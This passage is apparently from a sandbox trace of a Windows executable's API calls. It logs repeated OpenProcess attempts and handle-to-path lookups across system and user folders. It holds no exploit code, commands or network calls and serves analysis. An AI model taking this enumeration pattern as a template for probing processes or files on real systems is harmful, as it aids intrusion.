(dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.336] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.336] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.336] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.336] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.336] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.336] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.336] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.336] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.337] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.338] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.339] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.340] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.341] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.342] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.343] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.344] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.345] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.346] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.347] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.352] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.412] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.412] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.412] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.412] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.412] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0146.413] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0146.413] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0146.413] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0146.413] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0146.413] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0146.414] GetFileType (hFile=0x128) returned 0x1 [0146.414] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0146.416] CloseHandle (hObject=0x128) returned 1 [0146.416] GetFileType (hFile=0xb8) returned 0x1 [0146.417] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0146.417] CloseHandle (hObject=0xb8) returned 1 [0146.417] GetFileType (hFile=0x128) returned 0x0 [0146.417] CloseHandle (hObject=0x128) returned 1 [0146.417] GetFileType (hFile=0xb8) returned 0x1 [0146.417] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.418] CloseHandle (hObject=0xb8) returned 1 [0146.418] GetFileType (hFile=0x128) returned 0x1 [0146.418] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.419] CloseHandle (hObject=0x128) returned 1 [0146.419] GetFileType (hFile=0xb8) returned 0x1 [0146.419] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0146.420] CloseHandle (hObject=0xb8) returned 1 [0146.420] GetFileType (hFile=0x128) returned 0x1 [0146.420] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0146.420] CloseHandle (hObject=0x128) returned 1 [0146.420] GetFileType (hFile=0xb8) returned 0x1 [0146.420] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.421] CloseHandle (hObject=0xb8) returned 1 [0146.421] GetFileType (hFile=0x128) returned 0x1 [0146.421] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.422] CloseHandle (hObject=0x128) returned 1 [0146.422] GetFileType (hFile=0xb8) returned 0x1 [0146.422] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.423] CloseHandle (hObject=0xb8) returned 1 [0146.423] GetFileType (hFile=0x128) returned 0x1 [0146.423] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.424] CloseHandle (hObject=0x128) returned 1 [0146.424] GetFileType (hFile=0xb8) returned 0x1 [0146.424] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.425] CloseHandle (hObject=0xb8) returned 1 [0146.425] GetFileType (hFile=0x128) returned 0x1 [0146.425] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0146.426] CloseHandle (hObject=0x128) returned 1 [0146.426] GetFileType (hFile=0xb8) returned 0x1 [0146.426] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0146.427] CloseHandle (hObject=0xb8) returned 1 [0146.427] GetFileType (hFile=0x128) returned 0x1 [0146.427] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0146.428] CloseHandle (hObject=0x128) returned 1 [0146.428] GetFileType (hFile=0xb8) returned 0x1 [0146.428] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.429] CloseHandle (hObject=0xb8) returned 1 [0146.429] GetFileType (hFile=0x128) returned 0x1 [0146.429] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.429] CloseHandle (hObject=0x128) returned 1 [0146.430] GetFileType (hFile=0xb8) returned 0x1 [0146.430] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.431] CloseHandle (hObject=0xb8) returned 1 [0146.431] GetFileType (hFile=0x128) returned 0x1 [0146.431] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0146.432] CloseHandle (hObject=0x128) returned 1 [0146.432] GetFileType (hFile=0xb8) returned 0x1 [0146.432] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.433] CloseHandle (hObject=0xb8) returned 1 [0146.433] GetFileType (hFile=0x128) returned 0x1 [0146.433] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0146.434] CloseHandle (hObject=0x128) returned 1 [0146.434] GetFileType (hFile=0xb8) returned 0x1 [0146.434] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0146.435] CloseHandle (hObject=0xb8) returned 1 [0146.435] GetFileType 